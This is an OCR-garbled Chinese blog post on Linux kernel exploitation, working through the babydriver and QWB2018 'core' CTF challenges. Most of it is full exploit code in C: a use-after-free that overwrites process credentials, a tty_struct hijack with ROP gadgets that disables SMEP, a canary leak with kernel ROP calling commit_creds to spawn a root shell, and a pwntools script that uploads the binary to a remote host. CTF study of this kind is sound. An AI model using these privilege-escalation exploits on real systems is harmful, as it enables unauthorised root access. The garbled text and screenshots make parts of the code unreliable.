linux oj N % linux W pwn Al

weixin 39639174 o F 2021-04-30 11:45:07 K45 o 63 ﬁ R
LERE: M
linux W pwn AT
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Hored 45 # R K/

XA T LR B KRBT
kuidERkgid K /MK
/include/uapi/asm-generic/posix_types.h
AR E1

2

3

4#ifndef _ kernel _uid32_t

typedef unsigned int__kernel_uid32_t;
typedef unsigned int__kernel_gid32_t;
#endif

atomic_tk/M

2

3typedef struct {

int counter;

} atomic_t;

kernel_cap_t1

2

3

4

5typedefunsigned int__u32;

#define _LINUX_CAPABILITY_U32S 32

typedef struct kernel_cap_struct {


https://blog.csdn.net/weixin_39639174
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__u32 cap[_KERNEL_CAPABILITY_U32S];

} kernel_cap _t;

T LABE £ unsigned int cap[2]
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15make -C ../linux-4.4.72/ M=/home/noone/Desktop/babydriver/get_cred modules
make[1]: Entering directory /home/noone/Desktop/babydriver/linux-4.4.72'
ERROR: Kernel configuration is invalid.

include/generated/autoconf.h or include/config/auto.conf are missing.

Run 'make oldconfig && make prepare' on kernel src to fix it.

WARNING: Symbol version dump ./Module.symvers

is missing; modules will have no dependencies and modversions.

CC [M] /home/noone/Desktop/babydriver/get_cred/demo.o

In file included from:

.Jinclude/linux/kconfig.h:4:10: fatal error: generated/autoconf.h: No such file or directory



4 | #include

HE R

Run ‘make oldconfig && make prepare’ on kernel src to fix it.

VRS H & T AT a4, — B E %

SRJE BRI G 3, 4k 2238 45 1/bin/sh: 1: /scripts/recordmcount: not found
R AR 7 &R 1make recordmcount

W1

2scripts/extract-cert.c:21:10: fatal error: openssl/bio.h: No such file or directory

21 | #include xo00000xx scripts/extract-cert.c:21:10: fatal error: openssl/bio.h: No such file or directory 21 |
#include scripts/extract-cert.c:21:10: fatal error: openssl/bio.h: No such file or directorybash

f# ik 1sudo apt-get install libssl-dev
4 523117 1make modules_prepare
X B Emake I T

SR & 5 2 Bl T TWARNING: Symbol version dump ./Module.symvers is missing; modules will have no
dependenci

XAJELEE T IRF] 1insmod: can't insert 'lib/modules/4.4.72/hello.ko': invalid module format

MR E BRI TT R, WENZ

58 JE B AT JUREE 1

2[ 6.539340] hello: disagrees about version of symbol module_layout

insmod: can't insert /lib/modules/4.4.72/hello.ko": invalid module format

XA R R EA T AT,

Enable loadable module support -> module versioning support

R4 HE % patch babydrivert) 3K 5], ik HAT BN B4 3k, % th 3R B .4 ¥ ERbabydriver 3R & i &, A 5 T ..



assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing

; int _ cdecl hello init()

public hello_init

hello_init proc near

call __fentry__ ; PIC mode
push rbp

mov rdi, offset alHelloWorld
mov rbp, rsp

call printk ; PIC mode
mov esi,

mov rdi, offset aSizeOfCredD
call printk ; PIC mode
xor eax, eax

pop rbp

retn

hello_init endp
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26//hello.c

#include

#include

#include

#include

#include

MODULE_LICENSE("Dual BSD/GPL");
struct cred c1;

struct tty_struct t1;

static int hello_init(void)

{

Ilprintk("<1> Hello world'\n");

printk("size of cred : %d \n",sizeof(t1));
printk("size of cred : %d \n",sizeof(t1.kref));
printk("size of cred : %d \n",sizeof(t1.dev));
printk("size of cred : %d \n",sizeof(t1.driver));
printk("size of cred : %d \n",sizeof(t1.0ps));
return 0;

}

static void hello_exit(void)

{

printk("<1> Bye, cruel world\n");



}
module_init(hello_init);
module_exit(hello_exit);
XEAKRA T ATENtty T 1
2

3

4

5

Bstruct tty _struct {

int magic;

struct kref kref;

struct device *dev;
struct tty_driver *driver,;

const struct tty_operations *ops;

i N

At 2EESIX A ERRE? RHARSTES—MREEREIIIR tty_operations , RS AT

struct tty_operations {
struct tty_struct = (xlookup) (struct tty_driver =xdriver,
struct file *filp, dint idx);

int (*install) (struct tty_driver *driver, struct tty_struct »tty);
void (xremove) (struct tty_driver xdriver, struct tty_struct xtty);

int (*open) (struct tty_struct * tty, struct file x filp);
void (*close) (struct tty_struct = tty, struct file = filp);
void (*shutdown) (struct tty_struct *tty);
void (*cleanup) (struct tty_struct *tty);
int (*write) (struct tty_struct * tty,
const unsigned char *buf, {int count);
int (*xput_char) (struct tty_struct =tty, unsigned char ch);
void (*flush_chars) (struct tty_struct *tty);
int (*write_room) (struct tty_struct =*tty);
int (*chars_in_buffer) (struct tty_struct *tty);
int (*xioctl) (struct tty_struct =tty,

unsigned int cmd, unsigned long arg);
lTong (xcomnat dactlYfetriuect +Hv cetriet xt+w.

X ELA] PLE Bty B4 K/ RH0x2e0, Fltty operations :4+4+16=24=3*8

(|



__fentry__

rbp

esi,

rdi, oﬁfset
rbp, rsp
printk

esi,

rdi, offset
printk

esi,

rdi, offset
printk

esi,
rdi, offset
printk

esi,
rdi, offset
printk

eax, eax

rbp
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; PIC mode

aSizeOfCredD

; PIC mode

aSizeOfCredD
; PIC mode

aSizeOfCredD
; PIC mode

aSizeOfCredD
; PIC mode

aSizeOfCredD
; PIC mode
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38from pyclibrary import CParser
parser = CParser(['./header.h')
members = list(parser.defs['variables'].keys())
print(members)

with open("header.h") as f:
code = f.read()

code = code.strip().split("\n")
result ="

//put your own header first
#include

#include



#include

MODULE_LICENSE("Dual BSD/GPL");
result += code[O][:-1] + "test;"

result +="

static int hello_init(void)

{

for member in members:
result += " printk(\"{}: %d\", sizeof(test.{}));\n".format(member, member)

result +=

return O;

}

result +="
static void hello_exit(void)

{

printk("<1> Bye, cruel world\\n");
}

module_init(hello_init);
module_exit(hello_exit);
print(result)

babydriver

X BRI R AECtf-wikiF AR, BE AR T B Hered B ik RN 757 LHWE R T X B EE## Aexp
M5

uaffcred
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@ Applications  Places System €Y 30 @
o0

File Edit View

T0CTL(2)

Search Terminal Help

og ramme

request

manipulates the underlyin
ontrolled with ()

system call
terminals)

The
files (e.g.,

may be ¢

eqt argument 1is

argument is a device-dependent

The secon :
for valid C), and will be so

re was named

whethe
are loc

the argument is an in paramete
ated in the file <sys/ioctl.h>.

in 1t
request

An () request has encode
in specifyir

used 1g an \)

eturned. A few ()

set appropriately.

equests use the return

Usually, on success ) is
r, -1 is d errno is

, an

fd is not a valid file descriptor

argp references an inaccessible memory area.

request or argp is not valid.

10t associated with a character special device

The specified request does not apply to the kind of object that the file

Manual page ioctl(2) line 1 (press h for help or g to quit)f]

i3 Menu test_ko] 1 Parrot Termina

XEAAE B, B — A S HIN— MT IR S R R

B A2 HN— 1 request code,ix B

rs of special files.
argument fd must be an

an untypec

value as

) O C 18°C TueApril4,21:36

Parrot Terminal

s Manual

ating characteristics of character

many

iptor.

pe

In particula
pen file desc

memory. It's traditionally argp (from the

pointer to

out parameter, and the size of the argument argp in bytes. Mac

an eturn a nonnegative value on success.

utput parameter an

lescriptor fd

% Parrot Terminal

__inte4 __ fastcall babyioctl(file *filp, unsigned int command, unsigned __inté4 arg)

{

size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax

_fentry__ (filp, *(_QWORD *)&
vd v3;

o

kfree(babydev_struct.device_buf);

== 9x10001 )

babydev_struct.device buf = (char *)_kmalloc(v4, 37748928LL);

babydev_struct.device_buf_len = v4;
printk("alloc done\n");
result oLL;

}

else

printk(&unk_2EB);
result -22LL;

}

return result;

babyioct! & F i 20x10001
BEASHNTESH
B RHRFFBANVMERES R EXH,FX




if ( (signed int)alloc_chrdev_region(&babydev no, OLL,
{

cdev_init(&cdev_@, &fops);

cdev_@.owner = & this_module;

vl = cdev_add(&cdev_©, babydev no, 1LL);

if (vl >= 0 )

{

v2 = (class *)_ SS_( "babydev", &babydev_no);
babydev_class

if ((v2 )

{

v3 = device_create(v2, OLL, babydev_no, OLL,

vl = 0;
if (v3)
return vO;
printk(&unk_351);
class_destroy(babydev_class);
}

else

L
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#include



#include

#include

#include

#include

int main()

{

int fd1,fd2;

fd1 = open("/dev/babydeVv", 2);
fd2 = open("/dev/babydeVv", 2);
//0xa8 sizeof(cred struct)
ioctl(fd1, 0x10001, Oxa8);
/I cause uaf

close(fd1);

pid_t fpid;//fork return
fpid = fork();

if(fpid < 0)

{

printf("fork error");
exit(0);

}

else if(fpid == 0)

{

/lchange kuid_t

1128

char buf[29]={0};
write(fd2, buf,28);
if(getuid() == 0)

{

puts("root now");

/Iget bash

system("/bin/sh");



exit(0);

else

{

wait(NULL);

printf("pid %d", fpid);

}

close(fd2);

return O;

}

) BB S5 TE 1% R G0 T oA printffar i, 3R A printf4 52 B0 fr
[7] I wait B8 2 X 8, A wait ok s Zh & shell
waitif % 55 fork [F] B H B, 1% L2 (%) B k15 40

FEfOrk R B AT BT, R — MR TE PUAT X BURRS, 7E X forkid J& , B AR BRI A BERRFE AT T, IS BERZARAD 58 2 A A,
R EZHATIER R T — ), R 72 A fork 13& [B1E X Bt i 2 fpid BR AL A2 i fpid A AR R, T2 HIfpid A0, T AL ik
2 Hfpid v G2 T AR M BEARId, By LA % ZEAE elsefir BY P 28 SO AR, 5 455 TRERE PT 58 Heid JR AE R 8L AU AR, AN R
SHESR

bypass SMEP ret2usr

RNT Bk retusr Wi, WZFRERH T smep frH7, smep £F% Supervisor Mode Execution Protection, &
W —F R e, 1EFRZ %S CPU & F ring0 e, 4T F P 2R SR TR X MRIE
arm FEEFRA PXN.

X 3B 5 Fropper#i R i gadget, H#: K38 T, Flropgadget#, £ 4 # R Bk B 58 T 1cat g1 | grep .*: pop rdi ; ret' |
head -1

I A 1E W #k gadget



@ Applications  Places  Systen

Browse and run installed

Parrot Terminal

*: pop rdi ;

*: pop rdi ; ret'

% Parrot Terminal

3L——$catg1| grep '*: mov cr4'
Oxffffffff8105c085 : mov cr4, rax ; jmp Oxffffffff8105c08d
Oxffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret
swapgs1

2

3L——$cat g1 | grep .*: swapgs'
Oxffffffff8181bebc : swapgs ; jmp Oxffffffff8181bec4
Oxffffffff81063694 : swapgs ; pop rbp ; ret
iretgfFlROPgadget iR 2|, BB H L4 1

2 L—— $objdump -S vmlinux | grep iretq
ffffffff8181a797:48 cf iretq

BHFE smepfri



eAppLi(aﬁons Places System & | = 4 O @ 23°C ThuApri6,09:51

Lo MATE Terminal Parrot Terminal
File Edit View Search T Usethe command line

Parrot Terminal

./boot.sh
86 64 -initrd rootfs.cpi erne I appe ‘console=ttyS@ root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp co
=1 -cpu kvmé4,+ 34
noone@parrot

E |

5 Parrot Terminal # Parrot Termina # Parrot Terminal

REFRTIET

WA FTROPiZ 2

4) 0O @ 28°C ThuAprls, 13:25
[ X J Parrot Terminal
File Edit View Search Terminal Help
«— pop
: ATAPI: QEMU DVL M, 2.5+, max UDMA/100
conT g U v
:0:0:0: QEMU QEMU DVD-ROM 2.5+ PQ:
:0:0: [sr dr 4%/ 4x xa/form2 tray
Uniform C M
:0:0: A

oxffffffff810635f5 pop rax
pop rbp
ret

mov rsp, rax

. . N dec ebx
81f41000 - ff 820a)

14336l
80001a0)

)001e00)

> open
> open
done

device release

(root)
i exploit4[89] general protection ip:401c20 sp:7ffed80d

number for tty struct (5:2) in tty release

# Untitled window % Parrot Terminal




eAppLi(aﬁons Places System ‘:) X ) X — ) O @ 23°C ThuApri6, 09:54

Lo MATE Terminal Parrot Terminal

File Edit View Search T Usethe command line
— U
«— 0
<— MoV rsp, rax
«— 0x610
«— pop rdi

oxffffffff810d238d pop rdi
ret

mov crd4, rdi
pop rbp
ret

push  rbp

mov rbp, rsp

sub rsp, 0x10

mov qword ptr [rbp - 8], -Ox7ef
mov qword ptr [rbp - 0x10], -0x
mov rax, qword ptr [rbp - 8]

fse7fe
7ef5ebed

«— Ox6f0
« mov crd, rdi

<« push  rbp
«— swapgs

<« iretq
<« push  rbp

33 Menu @ exploit -/Desktop/. e @ Untitled window # Parrot Terminal %) Parrot Terminal

B REA—HR R, X Brop/E R ] T OxOT kMR R LT,

@ Applications  Places System £ 62 @ ) 4) O @ 23°C ThuApri6, 09:55

Browse and run installed applications Parrot Terminal

e—Edit—View—Search—Terminal Help
«— 0
«— 0
«— 0

— «— swapgs
«— push  rbp

pop rdi
ret

mov cr4, rdi
pop rbp
ret
i
0x401c21 push  rbp
mov rbp, rsp
sub rsp, 0x10
mov qword ptr [rbp - 8], -Ox7ef5e7fe
mov qword ptr [rbp - 0x10], -0x7ef5ebed
mov rax, qword ptr [rbp - 8]

< swapgs

<« iretq
<« push  rbp

-1

i1 Menu @ exploit.c +(~/Desktop. # Untitled window # Parrot Terminal %) Parrot Terminal

pop rdiid J5 ¥ crd & B 0x6f0,5% ismep i R J5 % B FH 7 A #AT




@ Applications  Places System €Y 62 @ = ) O € 20°C WedApr15,2326

Change desktop appearance and behavior, get help, or log out

fault, Jan 19 2020, 19:54:54)
0] on linux
] "credits" or "license" for more information.

e_to_player/vmlinux'

000000)

000000)

8e@-int(commit creds,16))

8e0-0x9c8el)

% Untitled window
iR ATprepare_kernel_credPA &zcommit_creds

SR Ja il it swapgstk & gsfE

@ Applications  Places System £ 62 @ R = 0 O C 20°C WedApr15,23:13

Access documents, folders and network places Parrot Terminal

e—Edit—View—Search—Terminal—TFabs— Help

x Parrot Terminal
OxfEfffffffiffoleo
— «— pop rdi
« ret

mov rdx, qword ptr [rsp + 0x46]
xor rdx, qword ptr gs:[0x28]
core_copy_func+99 <

add rsp, 0x48
pop rbx
oxffffffffco3fbl5e <core copy func+1@4> ret
i
pop rdi
ret
push  rbp
mov rbp, rdi
mov rdi, qword ptr [rip + ©x1698c15]
«— pop rdi
<« push  rbp
«— pop rdx
«— pop rex
«— mov rdi,

<= push  rl2
«— swapgs

i 5] Bliretq, Tk E I
XEERILAT A

N2 Bttty S ik ?

fEopen(“/dev/ptmx’) i i i & Bl e tty 45 Ha 4, i tty 45 M ik BB Mty _operation® A K& R Hde &t BN Me s —
AN AL HEER B BA N E Ity 45 M4 b T 58 BIROPHE % L3

rE?

AR Bt write & 25, 75 18 F write 1 B, BE I raxil| 37 Attty _operations i) & Hi it




TEforflE 2R ) i i, AT B B T mov rsp,rax, 1X B K ik 5% 7 Fllfake_ttyZ5#4k L,
SRJE BLRT 7 K rsp#e 18 BIRATHIROPEE b X I 5 74 FF 4 ROP
WA BRATRE Dy X Aty 554 143X B T uafiiy i 1
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81#include

#include

#include

#include

#include

#include

#include

#define prepare_kernel _cred addr Oxffffffff810a1810
#define commit_creds_addr Oxffffffff810a1420
void* fake_tty operations[30];

size_t user_cs, user_ss, user_rflags, user_sp;



void save_status()

{

__asm__("mov user_cs, cs;"
"mov user_ss, ss;"

"mov user_sp, rsp;"

"pushf;"

"pop user_rflags;"

);

puts("[*]status has been saved.");

}
void get_shell()

{

system("/bin/sh");

}

void get_root()

{

char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char®) = commit_creds_addr;
(*ce)((*pke)(0));

}

int main()

{

save_status();

inti=0;

size_t rop[32] = {0};

rop[i++] = Oxffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;

rop[i++] = Oxfffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;

rop[i++] = (size_t)get_root;

rop[i++] = Oxffffffff81063694; // swapgs; pop rbp; ret;



rop[i++] = 0;

rop[i++] = Oxffffffff814e35ef; // iretq; ret;

rop[i++] = (size_t)get_shell;

rop[i++] = user_cs; /* saved CS */

rop[i++] = user_rflags; /* saved EFLAGS */

rop[i++] = user_sp;

rop[i++] = user_ss;

for(inti=0; i< 30; i++)

{

fake tty operations|i] = OXFFFFFFFF8181BFC5;

}

fake tty operations[0] = Oxffffffff810635f5; //pop rax; pop rbp; ret;
fake_tty operations[1] = (size_t)rop;

fake_tty operations[3] = OXFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret
int fd1 = open("/dev/babydev", O_RDWR);

int fd2 = open("/dev/babydev", O_RDWR);

ioctl(fd1, 0x10001, 0x2e0);

close(fd1);

int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
size_t fake_tty struct[4] = {O};

read(fd2, fake_tty_struct, 32);

fake tty struct[3] = (size_t)fake_tty operations;
write(fd2,fake_tty struct, 32);

char buf[0x8] = {0};

write(fd_tty, buf, 8);

return 0;

}

201852 M #f core

ROP

= Hhk



@ Applications  Places  System o @

Access documents, folders and network places

x Parrot Terminal

o0
add
pop
ret

0.034045] S
dhcpe: start
dhcp

dhcp ]
dhepe: ase 10

pop rdi
ret

4
oxffffffffaog9cced push  rbp
mov rbp, rdi
mov rdi, qword ptr [rip + 0x1698c15
mov esi, 0x14000c0
push  rbx

itsize

0000
/tmp/exploit
[*]status
commit_c
vmlinux

pre

pop rdx

pop rex

mov rdi, rax
push  rl2
swapgs

iretq

% Parrot Terminal Parrot Terminal

XEFER
offset{# & H sz ik T fuckfuck 1

2
ropid 2

REEENAL U, EEZMR Fropid 2

@ Applications  Places System £ 62 @
Change desktop appearance and behavior, get help, or log out pelci e
x Parrot Terminal
0x0
exFAFFFFFFFfffo100
<« push rl2
rdi, rax

i
oxffffffffoo8laaba I rax

rls
qword ptr [rbx]

«— push  rl2
+— Swapgs

«— iretq
<« push  rbp

«— push rl5

Parrot Termina [exploit /Desktop/ # Parrot Terminal

iX B3k \ T prepare_kernel_cred

File Edit View Search Term

V

# cat module/

4 O € 20°C WedApri5,23:14

Parrot Terminal
inal Help
/2 : Spectre mitigation: LFENCE not serializing, sw

- 10.0.2.15

2.15 obtained, lease time 864060

e/

sections/
taint

uevent

fcoo

th size: -65280

Akaslrir3? B LAER G B3 W%, 31 53R HUR 18 2] — A offset, 72K 58 IR A bk pn b3 A

4 O € 20°C WedApri5,23:19




eAppLi(atmns Places System f—’ LS Q

Browse and run installed applications
CHEEITTRSEI RS Tabs Help

Parrot Terminal

X Parrot Terminal

—» «— push  rl5

«— push  rbp

0x401ced push  rbp
mov rbp, rsp

test eax, eax

lea rdi, [rip + ©x9e387]

rdi, [rip + @x9e381]
edi, @

— <« mov eax,
«— add byte ptr [rdx], dh

# Parrot Terminal

H 3k 5 X pop_rdx

eAppLi(atmns Places System f—) LS Q

Access documents, folders and network places
e —Edit—Vien—Search—Terminat—Fabs— Help

0x0
oxffffffffffffo100
<« push  rbp
«— ret

add
pop
oxffffffffce29fl5e <core_copy_func+104> ret
I
push
mov
sub
mov
mov
mov
mov
mov

push

<«— push

® Untitled window

PAT 5ECcmmit_creds

RIERERH S

«— push rl5
0

Parrot Terminal

Parrot Terminal

X Parrot Terminal

rsp, irq stack union+72 <72
rbx

rbp

rbp, rsp

rsp, irq stack union+16 <16
rax, qword ptr [rip + Oxca3ff]
gword ptr [rbp - 8], rax

rax, qword ptr [rip + Oxca3ec]
qword ptr [rbp - 0x1@], rax
rax, qword ptr [rbp - 8]

rbp
+— Swapgs

«— iretq
rbp

<— push

.

rls

Parrot Terminal

) 0O € 20°C WedApri15,23:24

) 0O € 20°C WedApr15,23:44




arch Terminal Help
ret

pop rdi
ret

mov crd,
pop rbp

<« pop rdi
<« mov crd,

rk

jeneral protection ip:401c2@ sp:7ff

y struct (5:2) in tty release

% Parrot Terminal

5 igshell

XEAAFE S

2

3

4

5pop rdx; ret

pop rcx; ret

mov rdi, rax; call rdx;

XEREERE LA FEEIE Zrop, AT pop rdx, 2R & $iATmov rdirax, s fa FEIAT pop ecx, ret
4w 1% 1gcc exploit.c -static -masm~intel -g -o exploit

75 @R EE root/d 3l 1setsid /bin/cttyhack setuidgid 0 /bin/sh

& text1cat /sys/modules/core/section/.text

add-symbol-file1add-symbol-file ./core.ko /sys/modules/core/section/.text
XEERTLURRFS T T

XAMER B CHUE 2R A, A A expXt 25 5 2, B O4 5 R 8 5O
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185// gcc exploit.c -static -masm=intel -g -0 exploit
#include
#include
#include
#include

#include



#include

#include

#include

void spawn_shell()
{

if('getuid())

{

system("/bin/sh");

}

else

{

puts("[*]spawn shell error!");

}

exit(0);

}

size_t commit_creds = 0O, prepare_kernel_cred = 0;
size_traw_vmlinux_base = Oxffffffff81000000;

I

* give_to_player [masteree] check ./core.ko

Jcore.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
[*] "home/mdx/pwn_repo/QWB2018_core/give_to_player/core.ko'
Arch: amd64-64-little

RELRO: No RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x0)

*/

size_t vmlinux_base = 0;

size_t find_symbols()

{

FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");



/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)

{

puts("[*Jopen kallsyms error!");

exit(0);

}

char buf[0x30] = {0}

while(fgets(buf, 0x30, kallsyms_fd))

{

if(commit_creds & prepare_kernel_cred)

return O;

if(strstr(buf, "commit_creds") && !commit_creds)

{

* puts(buf); */

char hex[20] = {0};

strncpy(hex, buf, 16);

* printf("hex: %s\n", hex); */

sscanf(hex, "%lIX", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);

[

* give_to_player [masteree] bpython

bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
>>> from pwn import *

>>> vmlinux = ELF("./vmlinux")

[*] "Thome/mdx/pwn_repo/QWB2018_core/give_to_player/vmli'
Arch: amd64-64-little

RELRO: No RELRO

Stack: Canary found

NX: NX disabled

PIE: No PIE (Oxffffffff8 1000000)

RWX: Has RWX segments



>>> hex(vmlinux.sym[‘commit_creds'] - Oxffffffff81000000)
'0x9c8el’

*/

vmlinux_base = commit_creds - 0x9¢c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);

}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{

I* puts(buf); */

char hex[20] = {0};

strncpy(hex, buf, 16);

sscanf(hex, "%lIX", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;

[* printf("vmlinux_base addr: %p\n", vmlinux_base); */

}

}

if('(prepare_kernel_cred & commit_creds))
{

puts("[*]Error!");

exit(0);

}

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()

{

__asm__("mov user_cs, cs;"

"mov user_ss, ss;"

"mov user_sp, rsp;"

"pushf;"

"pop user_rflags;"



);

puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{

printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);

}

void core_read(int fd, char *buf)
{

puts("[*Jread to buf.");

ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)

{

printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, Ox6677889A, size);

}

int main()

{

save_status();

int fd = open("/proc/core", 2);

if(fd < 0)

{

puts("[*Jopen /proc/core error!");

exit(0);

}

find_symbols();

// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);



char buf[0x40] = {0};

core_read(fd, buf);

size_t canary = ((size_t *)buf)[0];

printf("[+]canary: %p\n", canary);

size_t rop[0x1000] = {0};

inti;

for(i = 0;i < 10; i++)

{

rop[i] = canary;

}

rop[i++] = Oxffffffff8 1000b2f + offset; // pop rdi; ret
rop[i++] = 0;

rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = Oxffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = Oxffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = Oxffffffff8101aaba + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = Oxffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = Oxffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;

rop[i++] = user_rflags;

rop[i++] = user_sp;

rop[i++] = user_ss;

write(fd, rop, 0x800);

core_copy_func(fd, Oxffffffffffff0000 | (0x100));

return 0;

}

ret2usr

ropit £
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#include

#include

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()

{

__asm__("mov user_cs, cs;"

"mov user_ss, ss;"

"mov user_sp, rsp;"

"pushf;"

"pop user_rflags;"

);

puts("[*]status has been saved.");

}

void get_shell(void){

system("/bin/sh");

}

size_t commit_creds = 0O, prepare_kernel_cred = 0;
size_traw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;

size_t find_symbols()

{

FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
[* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)

{

puts("[*Jopen kallsyms error!");

exit(0);

}

char buf[0x30] = {0}

while(fgets(buf, 0x30, kallsyms_fd))

{



if(commit_creds & prepare_kernel_cred)

return O;

if(strstr(buf, "commit_creds") && !commit_creds)
{

[* puts(buf); */

char hex[20] = {0};

strncpy(hex, buf, 16);

* printf("hex: %s\n", hex); */

sscanf(hex, "%lIX", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);

}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{

* puts(buf); */

char hex[20] = {0};

strncpy(hex, buf, 16);

sscanf(hex, "%lIX", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;

/* printf("vmlinux_base addr: %p\n", vmlinux_base); */

}

}

if(!(prepare_kernel_cred & commit_creds))
{

puts("["]Error!”);

exit(0);

}

}

void get_root()



{

char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*ce)((*pke)(0));

[* puts("[*] root now."); */

}

void set_off(int fd, long long idx)

{

printf("[*]set off to %ld\n", idx);

ioctl(fd, Ox6677889C, idx);

}

void core_read(int fd, char *buf)
{

puts("[*]read to buf.");

ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)

{

printf("[*]copy from user with size: %lId\n", size);
ioctl(fd, Ox6677889A, size);

}

int main(void)

{

find_symbols();

size_t offset = vmlinux_base - raw_vmlinux_base;
save_status();

int fd = open("/proc/core",0_RDWR);
set_off(fd, 0x40);

size_t buf[0x40/8];

core_read(fd, buf);

size_t canary = buf[0];



printf("[*]canary : %p\n", canary);

size_t rop[0x30] = {0};

rop[8] = canary ;

rop[10] = (size_t)get_root;

rop[11] = Oxffffffff81a012da + offset; // swapgs; popfq; ret
rop[12] = 0;

rop[13] = Oxffffffff81050ac2 + offset; // iretq; ret;
rop[14] = (size_t)get_shell;

rop[15] = user_cs;

rop[16] = user_rflags;

rop[17] = user_sp;

rop[18] = user_ss;

puts("[*] DEBUG: ");

getchar();

write(fd, rop, 0x30 * 8);

core_copy_func(fd, OxffffffffffffO000 | (0x100));
}
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54#!/usr/bin/python

from pwn import *

HOST = "35.221.78.115"

PORT = 10022

USER = "pwn"

PW = "pwn"

def compile():

log.info("Compile")
os.system("musl-gcc -w -s -static -03 pwn2.c -o pwn")
def exec_cmd(cmd):

r.sendline(cmd)

r.recvuntil("$ ")

def upload():

p = log.progress("Upload")

with open("pwn", "rb") as f:

data = f.read()

encoded = base64.b64encode(data)
r.recvuntil("$ ")

for i in range(0, len(encoded), 300):
p.status("%d / %d" % (i, len(encoded)))

exec_cmd("echo \"%s\" >> benc" % (encoded][i:i+300]))



exec_cmd("cat benc | base64 -d > bout")
exec_cmd("chmod +x bout")

p.success()

def exploit(r):

compile()

upload()

r.interactive()

return

if _name_ ==" main_ "

if len(sys.argv) > 1:

session = ssh(USER, HOST, PORT, PW)
r = session.run("/bin/sh")

exploit(r)

else:

r = process("./startvm.sh")

print util.proc.pidof(r)

pause()

exploit(r)
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